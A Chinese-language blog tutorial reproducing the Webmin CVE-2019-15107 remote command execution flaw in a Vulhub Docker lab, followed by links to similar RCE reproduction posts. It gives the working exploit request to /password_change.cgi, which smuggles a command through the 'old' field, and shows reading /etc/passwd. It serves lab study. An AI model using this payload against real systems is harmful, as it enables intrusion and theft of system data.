CVE-2019-15107 webmin RCE漏洞复现

2024-06-01 17:15:36

今天继续给大家介绍渗透测试相关知识，本文主要内容是CVE-2019-15107 webadmin RCE漏洞复现。

免责声明：
本文所介绍的内容仅做学习交流使用，严禁利用文中技术进行非法行为，否则造成一切严重后果自负！
再次强调：严禁对未授权设备进行渗透测试！

一、CVE-2019-15107 webmin RCE漏洞简介与环境搭建

CVE-2019-15107漏洞是webmin系统存在的RCE漏洞编号。webmin是一个用于Unix系统管理的Web页面，通过webmin，用户可以使用Web浏览器来管理系统的各项设置。
为了复现CVE-2019-15107漏洞，我们首先需要搭建漏洞环境。我们使用Vulhub来搭建漏洞环境，安装完Vulhub后，进入如下所示的目录（目录根据不同的安装而不同）：

执行命令：

docker-compose up -d

可以远程下载该漏洞Docker虚拟环境，并且创建一个环境。该命令执行结果如下所示：

之后，我们执行命令：

docker-compose config

即可查看该Docker虚拟环境，该命令执行结果如下所示：

这样，我们就可以使用浏览器访问该漏洞环境了，访问结果如下所示：

二、CVE-2019-15107 webmin RCE实战

接下来，我们就需要进行CVE-2019-15107 webmin 的RCE漏洞实战了。我们在该页面中随便抓一个数据包如下所示：

接下来，我们将该数据包的第一行更换为如下内容：

POST /password_change.cgi HTTP/1.1

接下来，我们将该数据包的最后一行更换为如下内容：

user=rootxx&pam=&expired=2&old=test|【放入要执行的命令】&new1=test2&new2=test2

然后发送数据包后，可以看到在数据包的回显中，出现了我们插入的cat /etc/passwd命令的结果，相关结果如下所示：

从上图中可以看出，CVE-2019-15107 webmin RCE漏洞复现成功！
原创不易，转载请说明出处：https://blog.csdn.net/weixin_40228200

CVE-2019-15107 webmin RCE漏洞复现相关推荐

用友php漏洞,用友GRP-u8 注入-RCE漏洞复现
用友GRP-u8 注入-RCE漏洞复现 (HW第一时间复现了,当时觉得不合适,现在才发出来) 一.漏洞简介用友GRP-u8存在XXE漏洞,该漏洞源于应用程序解析XML输入时没有进制外部实体的加载,导 ...
x友GRP-u8 注入-RCE漏洞复现
用友GRP-u8 注入-RCE漏洞复现一.漏洞简介用友GRP-u8存在XXE漏洞,该漏洞源于应用程序解析XML输入时没有进制外部实体的加载,导致可加载恶意外部文件. 二.漏洞复现 SQL注入POC ...
thinkphp 5.0.23 rce漏洞复现
thinkphp 5.0.23 rce漏洞复现 thinkphp介绍 thinkphp是一个快速.兼容而且简单的轻量级国产php开发框架,支持windows/Unix/linux等服务器环境,并且有相 ...
禅道linux一键安装漏洞,禅道全版本rce漏洞复现笔记
禅道全版本rce漏洞复现笔记漏洞说明禅道项目管理软件是一款国产的,基于LGPL协议,开源免费的项目管理软件,它集产品管理.项目管理.测试管理于一体,同时还包含了事务管理.组织管理等诸多功能,是中小 ...
通达+oa+php+文件+乱,通达OA任意文件删除/OA未授权访问+任意文件上传RCE漏洞复现...
0x00 简介通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...
SamSung WLAN AP:RCE漏洞复现
SamSung WLAN AP:RCE 一:漏洞信息三星WLAN AP WEA453E路由器远程命令执行- 二:漏洞复现Fofa语法: Fofa语法: title=="Samsung WL ...
（2022年12月最新）SpringBoot远程代码执行whitelabel error page SpEL RCE漏洞复现
1. 漏洞原理 spring boot 处理参数值出错,流程进入org.springframework.util.PropertyPlaceholderHelper 类中此时 URL 中的参数值会用 ...
禅道项目管理系统RCE漏洞复现+利用
1.漏洞概述禅道研发项目管理软件是国产的开源项目管理软件,专注研发项目管理,内置需求管理.任务管理.bug管理.缺陷管理.用例管理.计划发布等功能,实现了软件的完整生命周期管理.2023年1月6日, ...
JumpServer RCE漏洞复现
本文主要复现2021年1月出现的JumpSever的RCE漏洞 1.漏洞范围 JumpServer < v2.6.2 JumpServer < v2.5.4 JumpServer < ...

最新文章

热门文章